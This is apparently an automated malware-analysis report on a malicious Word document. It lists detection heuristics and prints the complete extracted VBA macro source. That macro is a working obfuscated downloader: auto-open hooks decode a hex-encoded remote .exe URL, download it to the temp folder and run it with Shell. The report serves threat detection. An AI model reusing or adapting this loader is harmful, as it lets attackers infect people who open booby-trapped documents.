MALICIOUS
406
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample is a malicious Microsoft Office document containing obfuscated VBA macros. The AutoOpen macro is designed to execute a function that calls the URLDownloadToFile API, indicating an intent to download and execute a second-stage payload from a remote source. The presence of multiple critical heuristics related to VBA macros, obfuscation, and shell execution further supports this assessment.
Heuristics 12
-
ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Macr-2
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
jkdfdklf = Shell(ferf34fe, 1) -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _ -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
jkdfdklf = Shell(ferf34fe, 1) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
ferf34fe = Environ(HexToString("54454D50")) & HexToString("5C64736572727474667364662E657865") -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7757 bytes |
SHA-256: d3dd1ea2ebcc60a520aed40e12d14bb5580eefa131e99ff8c4b4d46114440a94 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
76 of 124 identifiers look randomly generated (e.g. 'UGivgHgfdg') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal dfgfdg As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As LongPtr) As LongPtr
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal dfgfdg As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
#End If
Sub uiwefds()
Dim gGpRktBl As Integer
For gGpRktBl = 0 To 8
Dim zpKNMuMT As Integer
For zpKNMuMT = 0 To 3
Dim hIQYfdFo As Integer
For hIQYfdFo = 0 To 5
DoEvents
Next hIQYfdFo
DoEvents
Next zpKNMuMT
Dim lpFmypAl As Integer
For lpFmypAl = 0 To 6
DoEvents
Next lpFmypAl
DoEvents
Next gGpRktBl
Dim ySWFSeYG As Integer
For ySWFSeYG = 0 To 3
Dim AlvUcBFT As Integer
For AlvUcBFT = 0 To 7
DoEvents
Next AlvUcBFT
DoEvents
Next ySWFSeYG
Dim knlyQpre As Integer
For knlyQpre = 0 To 8
DoEvents
Next knlyQpre
UGivgHgfdg
End Sub
Sub AutoOpen()
Dim nwxTaHRl As Integer
For nwxTaHRl = 0 To 7
Dim obzdPVAf As Integer
For obzdPVAf = 0 To 9
Dim OmMNRXJG As Integer
For OmMNRXJG = 0 To 3
DoEvents
Next OmMNRXJG
DoEvents
Next obzdPVAf
Dim suTigmIA As Integer
For suTigmIA = 0 To 1
DoEvents
Next suTigmIA
DoEvents
Next nwxTaHRl
Dim BYXQBoHQ As Integer
For BYXQBoHQ = 0 To 8
Dim JbCFvDaj As Integer
For JbCFvDaj = 0 To 6
DoEvents
Next JbCFvDaj
DoEvents
Next BYXQBoHQ
Dim lsIXosKe As Integer
For lsIXosKe = 0 To 2
DoEvents
Next lsIXosKe
uiwefds
End Sub
Sub Workbook_Open()
Dim bAXYAJVG As Integer
For bAXYAJVG = 0 To 3
Dim nlEiEQgN As Integer
For nlEiEQgN = 0 To 7
Dim XBdRXQab As Integer
For XBdRXQab = 0 To 1
DoEvents
Next XBdRXQab
DoEvents
Next nlEiEQgN
Dim qhFwevwb As Integer
For qhFwevwb = 0 To 4
DoEvents
Next qhFwevwb
DoEvents
Next bAXYAJVG
Dim jncTKWEc As Integer
For jncTKWEc = 0 To 5
Dim DMpODKMf As Integer
For DMpODKMf = 0 To 9
DoEvents
Next DMpODKMf
DoEvents
Next jncTKWEc
Dim hQvArfbL As Integer
For hQvArfbL = 0 To 5
DoEvents
Next hQvArfbL
uiwefds
End Sub
Sub UGivgHgfdg()
Dim vYxYaLlq As Integer
For vYxYaLlq = 0 To 6
Dim EzeitYyD As Integer
For EzeitYyD = 0 To 4
Dim AlYXkoUH As Integer
For AlYXkoUH = 0 To 1
DoEvents
Next AlYXkoUH
DoEvents
Next EzeitYyD
Dim eoXFIRdw As Integer
For eoXFIRdw = 0 To 6
DoEvents
Next eoXFIRdw
DoEvents
Next vYxYaLlq
Dim yFFhGtVb As Integer
For yFFhGtVb = 0 To 9
Dim JnXGRXWl As Integer
For JnXGRXWl = 0 To 6
DoEvents
Next JnXGRXWl
DoEvents
Next yFFhGtVb
Dim tXzjjYef As Integer
For tXzjjYef = 0 To 9
DoEvents
Next tXzjjYef
hJBJ = HexToString("6874")
JNlkdfg = HexToString("74703A2F2F")
ihjkB = HexToString("666F72642D6D757374616E672E726F2F6A732F62696E2E657865")
fdgdfg = hJBJ + JNlkdfg + ihjkB
Dim lqLKIVNx As Integer
For lqLKIVNx = 0 To 2
Dim eiaklfFu As Integer
For eiaklfFu = 0 To 5
Dim dauCSTca As Integer
For dauCSTca = 0 To 7
DoEvents
Next dauCSTca
DoEvents
Next eiaklfFu
Dim nxdvbgYM As Integer
For nxdvbgYM = 0 To 9
DoEvents
Next nxdvbgYM
DoEvents
Next lqLKIVNx
Dim TMSvrSYK As Integer
For TMSvrSYK = 0 To 1
Dim gFdbwYgL As Integer
For gFdbwYgL = 0 To 5
DoEvents
Next gFdbwYgL
DoEvents
Next TMSvrSYK
Dim gFpQRRBa As Integer
For gFpQRRBa = 0 To 5
DoEvents
Next gFpQRRBa
ferf34fe = Environ(HexToString("54454D50")) & HexToString("5C64736572727474667364662E657865")
Dim gFjrheUI As Integer
For gFjrheUI = 0 To 5
Dim hOULTBjw As Integer
For hOULTBjw = 0 To 8
Dim Minwcedp As Integer
For Minwcedp = 0 To 7
DoEvents
Next Minwcedp
DoEvents
Next hOULTBjw
Dim moBRdIni As Integer
For moBRdIni = 0 To 2
DoEvents
Next moBRdIni
DoEvents
Next gFjrheUI
Dim RaoPSQQx As Integer
For RaoPSQQx = 0 To 4
Dim YFqOUvzZ As Integer
For YFqOUvzZ = 0 To 2
DoEvents
Next YFqOUvzZ
DoEvents
Next RaoPSQQx
Dim llBTdQhB As Integer
For llBTdQhB = 0 To 9
DoEvents
Next llBTdQhB
wqewr = URLDownloadToFile(0&, fdgdfg, ferf34fe, 0&, 0&)
Dim jkdfdklf
Dim EzonLPSw As Integer
For EzonLPSw = 0 To 1
Dim LdtexvzQ As Integer
For LdtexvzQ = 0 To 7
Dim lHhPUkHp As Integer
For lHhPUkHp = 0 To 2
DoEvents
Next lHhPUkHp
DoEvents
Next LdtexvzQ
Dim RwRELqYw As Integer
For RwRELqYw = 0 To 4
DoEvents
Next RwRELqYw
DoEvents
Next EzonLPSw
Dim iRUMEqxS As Integer
For iRUMEqxS = 0 To 9
Dim aHhQAKGU As Integer
For aHhQAKGU = 0 To 8
DoEvents
Next aHhQAKGU
DoEvents
Next iRUMEqxS
Dim DwrYurer As Integer
For DwrYurer = 0 To 3
DoEvents
Next DwrYurer
jkdfdklf = Shell(ferf34fe, 1)
End Sub
Public Function HexToString(ByVal hextext As String) As String
Dim gVidOqxP As Integer
For gVidOqxP = 0 To 1
Dim QkaDCilb As Integer
For QkaDCilb = 0 To 3
Dim OTGPqBNg As Integer
For OTGPqBNg = 0 To 8
DoEvents
Next OTGPqBNg
DoEvents
Next QkaDCilb
Dim ZllwFttU As Integer
For ZllwFttU = 0 To 7
DoEvents
Next ZllwFttU
DoEvents
Next gVidOqxP
Dim RtRcnfvK As Integer
For RtRcnfvK = 0 To 4
Dim bINWqiCp As Integer
For bINWqiCp = 0 To 7
DoEvents
Next bINWqiCp
DoEvents
Next RtRcnfvK
Dim yXJRTRHC As Integer
For yXJRTRHC = 0 To 6
DoEvents
Next yXJRTRHC
For y = 1 To Len(hextext)
Dim lnqaAuoM As Integer
For lnqaAuoM = 0 To 2
Dim AmqCCjjm As Integer
For AmqCCjjm = 0 To 4
Dim NYQzWOES As Integer
For NYQzWOES = 0 To 2
DoEvents
Next NYQzWOES
DoEvents
Next AmqCCjjm
Dim YMASgyxn As Integer
For YMASgyxn = 0 To 8
DoEvents
Next YMASgyxn
DoEvents
Next lnqaAuoM
Dim OEVBtoLb As Integer
For OEVBtoLb = 0 To 5
Dim WqaGRHAO As Integer
For WqaGRHAO = 0 To 1
DoEvents
Next WqaGRHAO
DoEvents
Next OEVBtoLb
Dim AvKbBdwx As Integer
For AvKbBdwx = 0 To 7
DoEvents
Next AvKbBdwx
num = Mid(hextext, y, 2)
Dim jPknciYa As Integer
For jPknciYa = 0 To 5
Dim qmsWyPmv As Integer
For qmsWyPmv = 0 To 6
Dim ftZPcZgm As Integer
For ftZPcZgm = 0 To 1
DoEvents
Next ftZPcZgm
DoEvents
Next qmsWyPmv
Dim pbHIjRpI As Integer
For pbHIjRpI = 0 To 7
DoEvents
Next pbHIjRpI
DoEvents
Next jPknciYa
Dim LljZwaJN As Integer
For LljZwaJN = 0 To 3
Dim DuMjRrVO As Integer
For DuMjRrVO = 0 To 6
DoEvents
Next DuMjRrVO
DoEvents
Next LljZwaJN
Dim WqeUyBDM As Integer
For WqeUyBDM = 0 To 7
DoEvents
Next WqeUyBDM
Value = Value & Chr(CDbl("&h" & num))
Dim sfFStdfd As Integer
For sfFStdfd = 0 To 1
Dim cJfSSvoM As Integer
For cJfSSvoM = 0 To 1
Dim oUyvDSAh As Integer
For oUyvDSAh = 0 To 6
DoEvents
Next oUyvDSAh
DoEvents
Next cJfSSvoM
Dim hHKnWRrm As Integer
For hHKnWRrm = 0 To 7
DoEvents
Next hHKnWRrm
DoEvents
Next sfFStdfd
Dim kTKxjRfd As Integer
For kTKxjRfd = 0 To 2
Dim ORMmfhxQ As Integer
For ORMmfhxQ = 0 To 8
DoEvents
Next ORMmfhxQ
DoEvents
Next kTKxjRfd
Dim HDYxwiBG As Integer
For HDYxwiBG = 0 To 1
DoEvents
Next HDYxwiBG
y = y + 1
Next y
Dim fNVNMpvZ As Integer
For fNVNMpvZ = 0 To 7
Dim esZUGMus As Integer
For esZUGMus = 0 To 3
Dim EgPicvGe As Integer
For EgPicvGe = 0 To 4
DoEvents
Next EgPicvGe
DoEvents
Next esZUGMus
Dim doqtuJbQ As Integer
For doqtuJbQ = 0 To 1
DoEvents
Next doqtuJbQ
DoEvents
Next fNVNMpvZ
Dim OECzGgGL As Integer
For OECzGgGL = 0 To 2
Dim TzHPynYW As Integer
For TzHPynYW = 0 To 2
DoEvents
Next TzHPynYW
DoEvents
Next OECzGgGL
Dim hMwkDaKX As Integer
For hMwkDaKX = 0 To 8
DoEvents
Next hMwkDaKX
HexToString = Value
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.